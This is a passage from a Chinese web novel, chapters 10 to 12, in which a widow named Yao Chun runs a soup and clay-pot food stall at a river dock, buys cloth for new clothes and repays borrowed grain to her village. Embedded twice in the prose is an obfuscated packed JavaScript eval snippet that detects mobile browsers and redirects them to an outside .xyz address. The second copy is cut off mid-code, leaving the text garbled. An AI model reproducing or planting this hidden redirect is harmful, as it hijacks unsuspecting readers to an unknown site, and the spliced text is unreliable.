翌日,姚椿又早早起来做了两大桶金汤菜,由于昨儿下午只顾着腌新的酸豆角忘了去郭屠户摊子上买肉以至于家里就剩最后不到半斤的猪五花。 为了保证每份都有两片肉,姚椿今日做的荤油底的金汤菜比昨日少了三分之一。 搭配的蔬菜也略略变化了下,素油底里的滚刀萝卜变成了滚刀冬瓜,然后两边都又添了个韭菜进去,其他都没变。 和昨天差不多的时辰到镇上,到了位置姚椿刚开嗓喊了两下,便瞧见了一群汉子从码头上下来。 呼啦啊一群人,到了第一个路口散去一小部分,剩下的三三两两结伴奔向他们熟识的摊子。 有了昨日的基础,姚椿的摊子很快也围了一圈人。 为首的就是昨天的第一位客人,旁人喊他左哥。 还没走近就嚷嚷:“今天给我来碗素的。” “好嘞!”姚椿麻溜给他盛了一大碗。 左丘钱递过去的同时又不放心问:“今儿还能免费续汤吧?” 不止他,其他围过来的汉子也纷纷竖起耳朵听,生怕昨儿热情大方的摊主今天就变卦了。 “当然能!只要金汤菜不停卖,就一直能免费续!”姚椿不仅态度爽快还和大伙开起玩笑,“不过你们得经常来监督啊,不然我哪天失言了,你们也不会知道。” 几个汉子见姚椿如此利索,顿觉他们方才计较一碗汤有些上不了台面。 好在人家摊主不介意,大家微尬一瞬也就过去了。 一旁左丘已经捧起碗吃了起来,同样浸满汤汁的冬瓜软糯中带着一丝鲜,和昨儿的萝卜吃起来完全是两种风格。 原以为素油底的会清淡很多,可真正吃起来才会发现不比荤油底的差,甚至另有一番风味,一看就没少放素油。 左丘呼噜噜一口汤水下去,胃里顿时暖呼呼的,汤口的酸辣度恰到好处,左丘是个不太能吃辣的人,竟也能接受。 其实是姚椿故意没有放很多辣,那日罗氏提醒她孩子不能吃太辣,让她反应过来记忆中大雍朝也就近十年左右才逐渐普及了辣椒的吃法。 像罗氏后院拢共就种了两株,偶尔给菜添个味而已,为了照顾到大多数人口味,姚椿的金汤菜便做了平安和阿月能承受的辣度。 然而对她已经有些淡的金汤菜到了码头却大受欢迎。 没一会儿素油底的金汤菜便只剩个桶底,这回连阿月平安姑侄俩也没捞到一碗。 大多还是冲着新鲜口味和免费续汤的名头来,所以素油底卖得比荤油底快。 姚椿正想着剩下一点就不卖了,她们自家人吃,结果这时张记烧饼摊的儿媳拿着一荤一素两个烧饼过来,小声问能不能换两碗她的金汤菜。 10. 购棉布 张记的儿媳也姓张,是张婆子娘家本族的侄女,昨儿打招呼时姚椿就有留意她本人大约有些害羞,尤其是在见不熟之人。 此番能愿意来换菜约莫是鼓起了莫大的勇气。 “当然可以。”然而当姚椿接过对方用油纸包的两个大烧饼轻轻一掂时又发现比她昨日买的要重不少。 她微微挑眉,这家人还真是够实在。 一个肉的一个素的,对外卖也要十二三文,更何况对方还特意多加了份量,想了想姚椿转身拿出三个干净的碗,盛了两荤一素的金汤菜。 两荤里菜多汤少,肉片也比她卖出去的要多几片,素的汤多菜少,这样无论是爱吃肉的还是爱吃菜又或者纯想要喝口热汤,都能照顾到。 张氏也很诧异,显然是没想到对方会给这么多。 骤然,她有些不好意思拽手:“姚娘子,这、这太多了吧。” 婆婆只说让她换两碗,一碗荤一碗素,可这三碗她还能接吗? “原本就打算剩下的不卖了留着自家吃。”姚椿笑着指了指已经吃得小嘴流油的俩小只,“烧饼可比这几碗汤菜瓷实,若真要较真还是我们占便宜了呢。” 张娘子还是有些不好意思,可惜她天生嘴笨不知道该怎么反驳,最后只能在姚娘子小姑子的帮助下端着三碗金汤菜回自家摊子了。 纪满月得了姚椿的暗示,放下金汤菜就跑,还在想着让她再带一个烧饼回去的张娘子目瞪口呆。 张婆子瞧见,道:“咋有三碗?” 张娘子回神,赶紧和姑母兼婆母的张婆子说了事情的原委。 张婆子听完,点点头:“看来是个不错的。”至少眼下看应当比落汤鸡夫妻俩好相处。 落汤鸡是张婆子给鸡汤面男摊主取的外号,可不是她嘴刻薄,是对方先张嘴喷粪,说什么她侄女一个妇人出来抛头露面做生意肯定不安分。 张婆子当场就一个唾沫回怼:“你一个大男人出来抛头露面是想骚给谁看?” “别到时候没骚成就被糊一身屎连个落汤鸡都不如!”落汤鸡这个外号也由此而来。 有些难听的话,张娘子听了不好出来反驳,可张婆子一个快五十的寡妇可没那么多顾忌。 当时正值饭点,她嗓门又大,再加上有儿子在旁边故意帮着吆喝,没一会儿就将对方俩人说得恼羞成怒就要过来动手,幸好有个常光顾烧饼摊子的一个客人是镇上比较有头有脸的人,且大家都知道他在县衙有那么一点人脉。 那客人几乎天天差家里下人或小辈来买烧饼,偶尔还喜欢自己过来吃,毕竟刚出锅的肉烧饼才是最美味的。 那日正巧他在,落汤鸡是个欺软怕弱的,最终都没敢动手。 然而怒气积攒多了,没过两天还是惊动了来巡逻的衙差,虽说最后结果是落汤鸡搬离原处并被罚款二两,可张婆子也花出去一两银子。 不然人家衙差凭什么站你这边。 想到那个落汤鸡张婆子就觉晦气,一两银子啊,她得贴多少张烧饼才能赚回来。 两相比较张婆子看隔壁的姚记摊子更顺眼了。 “吃吧,我们尝尝这家金汤菜味道好不好。”张婆子拿出三个略糊的素烧饼对夫妻二人道。 “娘吃!”夫妻俩默契十足地各夹一片肉到张婆子碗里。 张婆子顿时笑眯眯:“你们也吃。” 另一边,姚椿将桶底最后一点汤倒出来,四人就着最后一碗汤菜,分食了张倩兰送来的两个大烧饼。 罗氏吃完还感叹了一句:“这家实在人啊。” 姚椿点头认可。 连续三天摆摊,客流量基本固定下来,大多是码头扛货的,而且三天下来,她也看得出素汤底的更受欢迎。 毕竟要便宜一文钱呢,码头抗包挣得都是血汗钱,能省一点是一点,人之常情。 不过这对姚椿来说并无多大影响,反而大家更喜欢素油底她的利润还高些。 左右不过一点素油盐巴还有菜园子里种的菜,一锅成本加起来顶多也就半斤多猪五花的价格。 罗氏也发现了,今儿的荤油底卖得格外慢些,前两天大家都想着两样都尝尝鲜反正就差一文钱,所以两桶卖得都差不多快,可待尝过一回后心里得到满足后,就又会开始舍不得日日多花这一文钱,而退而求其次选择素油底。 对罗氏的担忧,姚椿笑道:“婶子无须担心,我心里有成算。” 反应过来自己心操得有些过的罗氏顿时条件反射板起脸色:“谁担心你了,我是怕平安和阿月跟着你再饥一顿饱一顿。” 姚椿心道,随您嘴硬嘞! 一连卖了三天金汤菜,钱赚到手了,人也累够呛。 抱着沉甸甸的钱袋,姚椿道:“今日得去把铜钱换成银子。” 罗氏闻言,目光扫了她上下几眼:“先别去换什么银子了,扯两匹棉布吧,我瞧你这衣裳实在没法再下针补了。” 姚椿顺着她的视线往自己身上一瞧,面色微囧,印象里胳膊上这块补丁已经是第三次破了,上面密密麻麻全是针线。 这两日光顾着煮汤卖汤,都没空注意到身上的衣服实在该换了。 “那行,先买布去,不过……”姚椿话锋一转,“我只会打补丁,不会做衣服。” 她很庆幸,自己这一点上和原主一样,不然非得露馅不可。 原主爹娘去的早,没人教她这些,一直都是捡族里那些婶婶姐姐穿不要的破衣服,嫁给纪满金后,也没能改善多少,正经的好布没摸过一块,倒是补丁打得极其娴熟。 “你不会?”罗氏惊讶。 “那她俩的衣裳都是谁做的?”罗氏是不相信李老婆子会有那好心给孙女重孙女做衣裳。 “都是阿月她大哥缝的。”姚椿回忆了一下,是这样没错,只是每回对外纪满金都会说是原主做的活,应该是怕外人说原主的闲话。 思及此,姚椿内心叹了口气,若没有纪家这坑,原主和纪满金这对小苦瓜一定能将日子过起来。 罗氏很是怀疑,当即看向纪满月求证。 纪满月见自家嫂子都说了,便也没再瞒,轻轻点头:“大哥的绣活可好了,我和平安的衣服都是大哥私底下缝的。” 以前大哥在的时候还经常给她和平安用碎布缝毽子呢。 “我从小的衣服都是大哥一针一线缝出来的。”纪满月情绪略低落,眼底思念重重。 罗氏闻言沉默了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446608|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山前村谁不知道纪家大房夫妻双双缺心眼,被纪老头和李老婆子教得只认爹娘和小弟,其他人哪怕自己的亲儿子也得靠后。 她不怎么出门也知道当初阿月娘王贵兰得知自己又怀孕的时候有多生气,因为她觉得肚子里这块肉会影响自己在李老婆子面前的勤劳好儿媳形象。 曾还差点要喝红花把孩子流掉,还是当时村里的赤脚大夫说她身子亏空太多,此时流产容易大出血没命,王贵兰这才作罢。 最后孩子虽然生出来了,但王贵兰却一刻也没管过。 幸好孩子还有一个大哥才没有一出生就饿死。 “这样,你去把布买来,我来做。”罗氏语气忽然软下来。 “那麻烦婶子了。”姚椿就等着她这句话了,“到时候我给婶子发工钱。” 罗氏没忍住翻她白眼:“才几天就开始在这我面前充大老板。” 姚椿始终笑盈盈的,被翻白眼也不恼,反倒看得罗氏有些别扭。 当即恼羞成怒催促:“赶紧买布去!” 总不能推着板车去布行,堵在人家门口,让人家还怎么做生意。 而且大概是累坏了,方才吃午饭的时候平安脑袋已经一点一点困到不行,此刻已经歪倒在罗氏怀里睡得香甜。 因此只有姚椿带着纪满月去买布,罗氏抱着平安留下看着家当。 时下百姓大多穿衣多以棉或麻两种。 一匹普通棉布的价格基本在一百五十文上下,麻要便宜一半,成衣就贵许多,一匹棉布的价格还不够买一身普通衣裳。 姚椿进的这家布庄,除了布也卖成衣,不过在问了成衣的价格后,便再没看过一眼。 一匹布大概能做两套大人的衣裳,小孩能做三套。 姚椿自己挑了半匹浅蓝一匹灰绿,然后又给俩孩子挑了一匹鹅黄和半匹浅粉到时候搭配一人做两身。 这几日赚的全都花出去不说还倒贴了点老本。 不过姚椿没觉得有什么,挣钱不就是用来花的,不然挣钱干什么。 挑完布,姚椿又转道杂货铺买了五个熬药用的小炉子并五个浅口小砂锅。 回去的路上,纪满月小声担心:“嫂子你是不是身体不舒服?” “放心吧,嫂子没事。”姚椿拍了拍筐里的东西道,“买这些是为了做好吃的。” 好吃的?! 纪满月眼睛顿时亮起,不由得开始期待。 因着买这些东西耽搁了不少时辰,待回到村里时已经是半下午,姚椿推着板车刚进村子,就瞧见不远处摇摇欲坠的草屋旁站着的李桂香。 “哎呦!你们这两天去哪了都,找都找不见你们人!”显然李桂香眼尖也发现了累得气喘吁吁的几人,当即小跑过来问。 姚椿解释:“先前不是同您和村长叔说我想到镇上做个吃食买卖,这不就先试了几天。” 李桂香没想到她还真跑去镇上卖吃食了。 “婶子找我什么事?”姚椿询问。 “这不是你先前说还村子里粮的事,粮食我都准备好了,本来说今天就挨家挨户还去,结果你人不在家。”现下大家都在地里忙着收成,李桂香也是难得腾出半日功夫。 11. 新花样 说实话,姚椿还真忘了这茬,尽忙着挣钱去了。 “那婶子你等我一会儿,把东西放回去就来。”她赶紧道。 “不急。”李桂香却摇头道,“我就是半天没寻到你人,以为你们出啥事了。” 姚椿又解释了一遍:“这不是想快点攒够盖房子的钱嘛。” 李桂香想了想也理解,孤儿寡母的若是长时间没个进项确实没啥安全感。 “生意还成不?”她又关心。 “还行,没亏。”姚椿笑笑,指了指和平安一起塞在筐中的布匹,“这不,还赚了点,至少能给两个孩子做身新衣了。” 李桂香见到,很是替她高兴:“那就好、那就好。” 话罢,她从筐里捞出半睡半醒的平安,边走边继续道:“等会儿阿月平安也一道去。” 有孩子在,至少能堵住那些爱说闲话的嘴。 一个村总有那么一两个嘴臭得跟老鼠屎似的,不说两句难听话浑身刺挠一样。 姚椿没意见:“行。” 板车推进罗氏的院子,姚椿略收拾了下,便带着两个孩子跟李桂香离开。 准备还给乡亲们的粮食李桂香和大儿媳李荷花已经全部备好,都堆在自家仓库一角,进去直接搬就行。 赵家有辆木制独轮小推车,用来放粮食正好。 …… 王二婆看到姚椿递过来的两碗玉米面半晌依旧很懵:“这、这啥意思啊?” 姚椿耐心解释:“满金的死县里给了补偿,我们不好再占大家这份便宜。” 王二婆一听下意识替她们高兴,反应过来后却推了推眼前的玉米面道:“那也没有这么多。” 那日她就舀了一碗多点而已。 “应该的。”姚椿却道,“没有大家的帮助,我们怕也撑不到这个时候。” “平安、阿月。”她低头喊了一声。 “谢谢王奶奶/王太婆。”阿月拉着刚醒的平安朝王二婆道谢。 王二婆有些不好意思,感觉好像做了回放印子粮的人,一碗半不到的玉米面出去没几日回来就变满满的两碗了。 李桂香从旁劝道:“接着吧王二婶,平安她娘也没啥好东西能报答你们一家,这点粮食是她唯一能出得起的了,你不收,她以后哪还好意思过来窜门子。” “那也太客气了。”王二婆仍旧不愿接,“大家都乡里乡亲的……” “就是因为是乡里乡亲,我才明白大家的粮食不是大风刮来的。”姚椿打断对方的话道,“我感激之前大家对我的帮助,如今我缓过来了,也想回报一下大家。” “若王二婆您不接,我只能理解您是嫌弃我回报得太少了。” “你看你……”王二婆第一次发现姚氏这嘴怎们这么厉害,堵得她半句拒绝的话都讲不出,最后无奈收下两碗玉米面。 粮食一给,姚椿就道:“王二婆我们先走了,后面还有好多家呢。” 没给王二婆半点反应的时间,转身推着独轮小车就走。 王二婆的两个儿子儿媳从地里回到家,一进门瞧见自家老娘端着两碗玉米面愣神,大儿子当即担心问:“娘你咋了?” “娘没事。”王二婆看向儿子儿媳,“就是刚刚满金媳妇来还粮了。” “还就还呗。”秋收累人,王大耳朵听见了脑子却要慢半拍,“等等,谁?” “满金他媳妇,姚氏。”王二婆强调,“还多给了大半碗呢。” 这会儿其他三人也反应过来。 大儿媳:“她哪来的粮食。” 王二婆:“说是满金的事,县里给了补偿。” 王二眼珠子一转,说:“这么大方,补偿怕是不少吧。” 王二婆闻声,当即瞪了小儿子一眼:“不许出去瞎打听。” 回头让纪家听到风声又得闹。 “不打听就不打听。”王二撇嘴,目光落到亲娘手里的玉米面,瞬间打起注意,“那娘晚上的玉米糊糊打稠些行不?” 王二媳妇捂脸。 王二婆:“……” 她怎么就生了这么一个馋鬼。 就这样,李桂香带着姚椿一家家还粮,顺便将补偿金的事告诉大家,尤其是家里男人交代她的那番话,反正总的意思是补偿一事已经在县里过了明路,谁要是想起什么歪心思,先掂量一下自己的屁股能不能承受得住县衙的板子。 到最后不管大家有没有歪心,至少明面上都挺为她们一家高兴。 有那家里斤斤计较的老头看到自家老婆子送出去半碗红薯干回来一碗,也不再甩脸子了。 挨家挨户粮食还清后,姚椿拉住急着要回家做饭的李桂香,问她家菜园子种的豆角可有多余。 李桂香以为是她菜不够吃,便道:“家里豆角吃都吃不完,你随时来摘就是。” 姚椿却说:“我想同您买。” 李桂香愣了愣:“一点豆角哪用得着给钱。” 还是罗氏同她解释:“她做吃食买卖需要,我家菜园里的都被她买去了,你若不收她钱,那我以后咋赚她钱。” “那、那你看着给就成。”李桂香哎呦两声,很是难为情,“可叫我占便宜了。” 姚椿却笑道:“除了豆角,若有南瓜茄子这些多余,我也要。” 罗氏家里就她一个人吃菜,她也懒得种一大堆,除了萝卜白菜这些,其他都种得差不多够吃就行,如今加上姚椿娘仨然后还要往外卖,自然消耗极快,再不从外买进,单自家吃都快不够了。 当天晚饭后,姚椿就收到了李桂香婆媳送来的两大框蔬菜,一筐按她的要求全是新鲜的豆角,另一筐不拘,除了一个大南瓜茄子也有不少,最上面还盖着两捆新鲜的小白菜。 姚椿当即把钱给她。 李桂香嫌她给的太多想退回两个,被姚椿一把按住:“罗婶卖我也是这个价,您这样算扰乱市场,回头小心罗婶背后骂你。” 边上没走远正帮着整理筐里菜的罗氏:“……” 李桂香被她的三言两语逗乐,心知她是在说笑,也不再扭捏收下钱道:“行,那我就厚着脸皮赚你一回。” 有了这一筐豆角,姚椿打算其中三分之二都用来做酸豆角,一小部分这两日拿来做成菜卖。 金汤菜卖了三日,需要添点新花样了。 翌日,四人比之前早两刻多钟到码头,往常推着板车过来时隔壁的烧饼摊子都已经烤了一炉烧饼了,今日却才刚把饼子贴上。 看到她们一家也到了,张婆子还招呼了她一声。 姚椿也同样回了一句。 码头下工较晚,这个时候来摊子上买吃食的大多是船上的小管事或者附近铺子里的伙计掌柜。 张婆子一锅烧饼刚贴上,就有两个结伴的伙计围了上去,询问烧饼好了没。 “素烧饼很快就好,肉的要等一会儿。” 其中一个伙计可能比较着急:“还要多久啊,一会儿还有趟货要送呢。” 足足三百斤的货,掌柜却舍不得多请一个人,就让他一个人送。 可他早上起晚又没来得及吃早饭,若这会儿不往肚子里添点油水,怕都坚持不到于家的大门。 张婆子也为难,再着急自己也不能把没熟的烧饼卖给客人啊,想了想她道:“隔壁家的金汤菜,老婆子我昨儿尝过,味道也不错呢。” 伙计还是头一回见有人推荐竞争对手东西好的。 倒是稀奇。 “那赶快给我弄一个素的。”那伙计道,“我一会儿就过来。” 他倒是要尝尝味道有多好。 另一个跟他一起的伙计倒不着急,不过见他要去尝尝隔壁摊子的吃食,想了想也跟了过去。 大上午的,天阴沉沉的还有点凉,烧饼就热汤也是个不错的选择。 然而当俩人到跟前时却发现这家吃食摊子似乎加了新菜。 板车多余的地方,摆了两排小炉子,上面架着五口小砂锅,底下炭火烧着,走近还能听到砂锅里咕噜咕噜的声音。 香气不要命地往外冒。 “两位小哥要不要试试我家的新菜,砂锅煲。” “新菜试菜期间,一律免费送一 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不得不说老天都在帮她,码头扛货的工钱低,不可能日日来摊子上改善生活,大多三五不时吃一回已算奢侈,若是不稍稍变一下客户群体,再过几日她的金汤菜怕就要卖得吃力许多。 俩伙计也没想到他们和张婆子嘀咕的话被她给听了去,不过也没恼,主要是这什么砂锅煲忒香了。 赶时间的那个很快就做出了决定:“给我们来一个肉沫茄子煲。” 一份十二文比肉烧饼略贵,但若二人合吃一份,再一人一个素烧饼也就比平日多花一文。 而且多花一文就能多吃这么多,不要太合算。 “好嘞。”话说着,姚椿贴心地盛了两份半碗金汤菜并那一份肉末茄子煲给二人。 俩伙计见免费送的金汤里还有不少菜,顿时笑意更深。 不过俩人也没想到闻着就十分馋人的肉沫茄子煲吃起来更香,浸透了肉汁的茄子软烂微微有些烫口,摊主还贴心配了木勺,挖一勺塞进烧饼里,其中滋味,单一个‘好吃’已经不够去形容。 砂锅煲的销售对象本就不是对码头上这些扛货的工人,所以姚椿才选择提前到码头,这个时辰出来觅食的大多是有些脸面或自认与那扛货工人凑到一个摊子吃饭丢面的人。 隔壁烧饼摊子也是这个时候生意最好,姚椿的砂锅煲才卖出去一份,金汤菜也只消耗了五份,隔壁第一锅烧饼已经卖光了,第二锅都也贴上了。 姚椿很是羡慕,尤其是在看到一个穿着绸缎的富态中年男人一下买了一锅十个肉烧饼后,这种感受更是到达了顶峰。 张婆子见着熟人,连忙让儿子赶紧装起烧饼,同时不忘热情招呼:“王老板又亲自来买烧饼啊。” “好些日子没来了。”王老板挺直圆润的肚子,鼻子贼尖闻到一股不属于烧饼的香气,当即问,“什么味?” “约莫是隔壁摊子的。”张婆子笑道,“您没来这些日子,码头新来了一家卖金汤菜的。” “金汤菜?”王老板吃遍不少美食,还没听过叫这个名的。 张婆子是个实诚人,没有故意隐瞒或说些反话:“她家味道不错。” 王老板是烧饼摊子的熟客了,几番交道打下来,深知这一家人的性情,一听张婆子的话,立刻就决定去尝尝。 左右烧饼还要等一会儿,王老板果断扭身。 姚椿见本该等在烧饼摊前的富贵中年男人突然往自家摊子来,反应迅速打开一份肉沫茄子煲和一份肉沫豆角煲。 她一共就做了五份,肉沫茄子煲多做一份,不过刚才卖出去一份,现在两种煲数量倒是持平了。 “不是说卖的是什么金汤?”王老板往砂锅里一瞧,“也没多少汤吧。”而且黑红油亮的和金汤哪里搭边。 “您说的金汤在桶里。”姚椿笑应,“砂锅里今日才开始试卖的砂锅煲。” 王老板从不委屈自己的嘴,闻着香味足,毫不犹豫就要了一份肉沫茄子的,尽管姚椿说了试卖期间会免费送碗素金汤,可他还是坚持要再买一份荤的。 对此,姚椿当然是手脚麻利地快速盛好! 谁能拒绝大款呐! 12. 起冲突 先舀一勺肉沫茄子入嘴,王老板眼睛眯成一条缝,入口久久不散的浓香肉味裹着每一条茄肉,作为对食物略有研究的王老板一下便尝出这茄子事先应该用油煎或炸过,去处了茄子本身大部分的水分,这样做出来才不会显得过于软烂且还能更好入味。 好吃! 王老板吃得眉头都舒展了,继而对一旁的金汤菜更加期待,于是立马也来了一口。 唔!好酸好辣! 王老板素日更爱好浓油赤酱,更喜欢大口地吃大块肉,像姚椿卖的这两样若不是烧饼摊的张婆子推荐,他还真一定会主动过来尝试。 不过虽然与自己平日喝的高汤不同,但王老板发现自己并不讨厌,入口是简单清爽的酸辣,很干脆的味道,他并不喜欢吃菜,可煮在这汤里的青菜萝卜居然很符合他的胃口,菜本身的味道被很好的掩盖下去。 王老板连吃了几口菜,头一回没去碰碗中的肉。 待吃了一半,他望着两道菜喃喃遗憾道:“真该来碗米饭啊。” 这浓郁的汤汁裹进大米饭里,他一口气能吃两碗。 姚椿听了当即接道:“是啊,肉沫茄子配米饭极佳,若您想吃,可提前预订,明日我专门做一份肉沫茄子饭煲。” 王老板当即竖起耳朵:“饭煲?” 姚椿笑道:“是。” 这回倒不是她忘了,若头一回就加上米饭成本太大,万一没碰上像眼前这样不在乎这几文钱的客人,怕是一份也卖不出去,那就亏大了。 对于她目前这个经不起太多动荡吃食摊子来说,徐徐图之才为最佳。 有意思,王老板下意识觉得她说的饭煲应该不是自己以为的多加一碗米饭的事,顿时好奇起来。 不过他也看得出眼前妇人是特意没说全乎,他也不恼,反而还很期待:“成,那我预订一份。” 他倒要瞧瞧到底是什么样的饭煲值得她如此卖关子。 …… 头一回,王老板在要了一锅肉烧饼后,又要了两个素的现吃。 没有米饭,烧饼也凑合,王老板极会吃,都不用姚椿提醒,手上动作灵活地给烧饼开了个口,接着一勺又一勺肉沫茄子和肉沫豆角塞进去。 方才去隔壁拿俩素烧饼前,王老板又要了份肉沫豆角煲,有茄子在前,王老板对绿油油的豆角也没那么排斥了。 许是经常来码头这边寻觅吃食,王老板与附近好些铺子里的掌柜都相熟,一口烧饼下去没嚼两下就遇到个熟人。 几番下来,姚椿也大概听了一些,这位王老板家住县城,主做酒水生意,不过他已经退下来好几年了,家里目前由长子当家,他平时就含饴弄孙或者悄摸溜出来觅食。 通平镇离县城不远,坐马车溜溜达达不要半个时辰就能到,若是骑马还能更快。 像王家在镇上还有个老宅,王老板平日嫌家里晚辈念叨烦了就会回镇上老宅住个十天半个月,然后好好搓几顿。 镇上的酒楼虽不如县城里那两家,但还是有几家不错的街边摊。 这不,今日又让他发现一家。 姚椿也很高兴,一共五份煲,先前两位伙计合买了一份,然后王老板一人就要了两份,现在又被王老板相熟的米店掌柜买去一份。 还是王老板极力推荐。 姚椿估摸着米店掌柜也是看在王老板面子的份上,才愿意在这露天的吃食摊子解决午饭。 “哈哈我没坑你吧,李老板?”王老板笑道。 李掌柜一口烧饼一口肉沫茄子,吃得大块朵颐,压根没空回他。 边上俩正买金汤菜的伙计还是头一回瞧见他们掌柜的如此不顾形象痛快吃喝,瞬间傻眼,好在他们反应还算快,买了金汤菜迅速找了个掌柜看不见的角落吃,假装什么都没看到。 李掌柜吃完,帕子抹了嘴就道:“那什么我也预订一份带米饭的,能做吧?” 送上门的生意不做是傻子,姚椿笑呵呵应下:“能。” 随后又看向两位老板:“那明儿还是这个时辰?” 王老板和李掌柜齐齐点头。 确定了时间,俩人这才挺直一大一小俩肚子背手悠闲离开,王老板手里还拎着十个刚出炉的肉烧饼。 将将两刻钟多一点,五份砂锅煲就卖了四份,担心了一早上的罗氏总算松了口气,一斤半肥半瘦的猪肉也就十二三文左右,她一份掺了不少茄子的砂锅煲转头就卖人家十二文。 简直就是奸商! 而奸商姚椿此刻在做什么呢,罗氏见她熄了炭火,忙道:“这份还没卖呢。” “这份不卖了,我们自己吃。”时间太久,为了尽量保证它们刚出锅的特质,她特意多留出的汤汁都快熬干了,再熬下去就要糊啦! 连吃了几日烧饼姚椿有些腻了,趁着码头临下工前这点时间,她让罗氏帮忙看着摊子,自己跑远一点去买馒头。 然而当她带着四个馒头回来却看见摊子前有人拉拉扯扯在吵什么。 走近一看,她还认识。 正是另一边上卖鸡汤面的夫妻俩其中的一位。 “我说了不换,你听不懂话?”罗氏挡在两个孩子前面冲那妇人道。 “哎呦,大家都在码头上卖吃食,我看你家孩子可怜光吃菜怕是吃不饱,好心盛一碗鸡汤面过来换你一碗菜不过分吧。”妇人嚷嚷声大,当即引来几道侧目。 罗氏冷脸,若是在村里她早挠上去了,没见过这么会占便宜的。 “这位大婶。”姚椿赶紧走过去,瞥了一眼对方手里的鸡汤面。 汤多面少,上面稀稀拉拉飘着两根蔫了吧唧的菜叶子,不知道放了多久。 还有别说鸡汤的香味了,那上头明晃晃的一道油渍印从碗口延升到碗底,姚椿严重怀疑是上一个食客吃完就根本没洗。 然而姚椿还没来得及开口,妇人瞧见她率先抢道:“昨儿我还瞧你和张婆子互换吃食呢,想着我家的鸡汤面你们怕还没尝过吧,所以——” “所以不换。”姚椿淡定打断。 妇人脸色当即变了:“你!我好心好意——” “不好意思啊这位大婶。”姚椿又打断她,“你面里有只苍蝇。” 这会儿码头已经下工,三三两两的工人朝这边走来,打头的就是左丘,听见姚椿的话,下意识就往妇人手中的面碗看去,果真瞧见一只硕大的苍蝇立在碗口,当即‘嚯’的一声:“你这妇人忒不地道,拿苍蝇啃过的面出来卖呢!” 左丘之前也吃过两回这家的鸡汤面,一想到自己吃过的面里或也有苍蝇路过,他忽然就想吐了。 妇人慌忙挥走苍蝇,然而却为时已晚。 她这回也算是吃了一回大嗓门的亏,左丘的话不少人都听见了,有那今日想吃口热汤面的小工头当即转变了方向。 眼见本就为数不多的客人也摆手离开,正揉面的中年男恼怒地瞪了一眼妇人:“你个老娘们,还不赶紧回来,尽给老子丢脸!” 被这么多人围观,自家男人还不给自己面子,妇人再难抬起头与姚椿争辩,端紧面碗扭身匆匆离开。 碍眼的人走了,左丘才笑呵呵重新道:“今儿给我来碗带肉片的。” “我也要一碗肉的。”后头一个年轻汉子插道。 一点小插曲大家都没在意,见‘邻居’生意红火就想使坏的热闹,他们过去见得多了。 “呦呵?有新菜啊?”左丘刚接过碗,余光就瞥见坐着矮凳趴在板车上吃得一嘴油的俩女娃娃,面前放着一个砂锅,里头装着的好像肉沫和豆角。 闻着油香油香的。 “新做的肉沫茄子煲和肉沫豆角煲。”姚椿解释,“不过怕卖不出去,就只做了五份试一试,剩这最后一份煮久了味道有些过,就留着自家孩子吃了。” 啥过不过啊,左丘下意识抹了一把嘴,就这都给他香坏了,顺嘴就问了一句多少钱一份。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446610|185123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚椿:“十二文。” 左丘:“……” 想试试又有点舍不得,嘿,幸好卖完了。 跟着摆摊这几天,纪满月慢慢也琢磨出点东西,故而这回故意吃得很慢。 成功将几个来买金汤菜的汉子们香坏了。 有那一两个舍得在吃食上花钱的立刻问了与左丘一样的问题,得知要十二文,心底掂量了下,觉得偶尔吃一次也成,便口头上让姚椿明儿留一份给他们。 “当然可以。”姚椿不经意道,“幸好您两位提早预订,否则明儿还不一定能留有。” 那开口说让姚椿明儿给自己留一份的汉子当即好奇:“什么意思?” 姚椿笑眯眯回:“方才县城王记酒行的王老板和镇上粮铺的李掌柜也各自预订了一份。” “你说啥?”娘嘞!汉子内心惊呼,县城的大老板也喜欢,那得多好吃! 本来还犹豫要不要合订一份先试试味的俩汉子互看一眼,当即异口同声决定各要一份。 见嫂子不动声色就把明天的又卖出去两份,纪满月心底高兴疯了,眼中的崇拜与仰慕都快溢出来。 “好的,不过您两位是单独要煲,还是加米饭的。”姚椿又问。 “加米饭怕是要贵一些吧。”其中有些经验的汉子道。 “是要贵些。”对上二人七分探究三分审视的视线,姚椿毫不避讳道,“加米饭十八文一份。” 乖乖!十八文一份!一旁竖着耳朵听的左丘吸溜着金汤,心底感叹,都够他吃小十天的金汤菜了。 好在十八文一顿饭对俩汉子来说并没到吃不起的地步,不过他们也不是什么大款,当即问:“纯米饭不?” 姚椿点头保证:“不掺一点粗粮。” 俩汉子心有底了,那还值得一试。 金汤菜快卖完时,明日最后一份煲也预订了出去,不过这一份的客人只单订了煲。 刚过午时,两个大木桶就全空了。 摊前的客人逐渐散去,姚椿嘴里叼着最后一口馒头咽下去,做吃食买卖就是容易三餐不规律。 平安见到娘在艰难地咽馒头,连忙捧起水囊过来:“娘,喝。” 姚椿举起水囊,尚有余温的水顺着喉管流下去,总算没那么噎了。 一直这样也不算个事,罗氏看在眼里,半晌后道:“明儿中间我替你一会儿。”看了这么久,一碗盛多少菜多少汤,她心里也有数了。 “呵呵,穿得跟叫花子似的出来摆摊,也不嫌寒颤!”冷不丁耳边传来一道骂声。 正要点头的姚椿寻声,发现是那卖鸡汤面的摊子不知何时往自己这挪了挪,夫妻俩在案板上敲敲打打,满脸写着不服气。 姚椿:“……” 低头看了一眼身上,东一个补丁西一个补丁,的确不能细看。 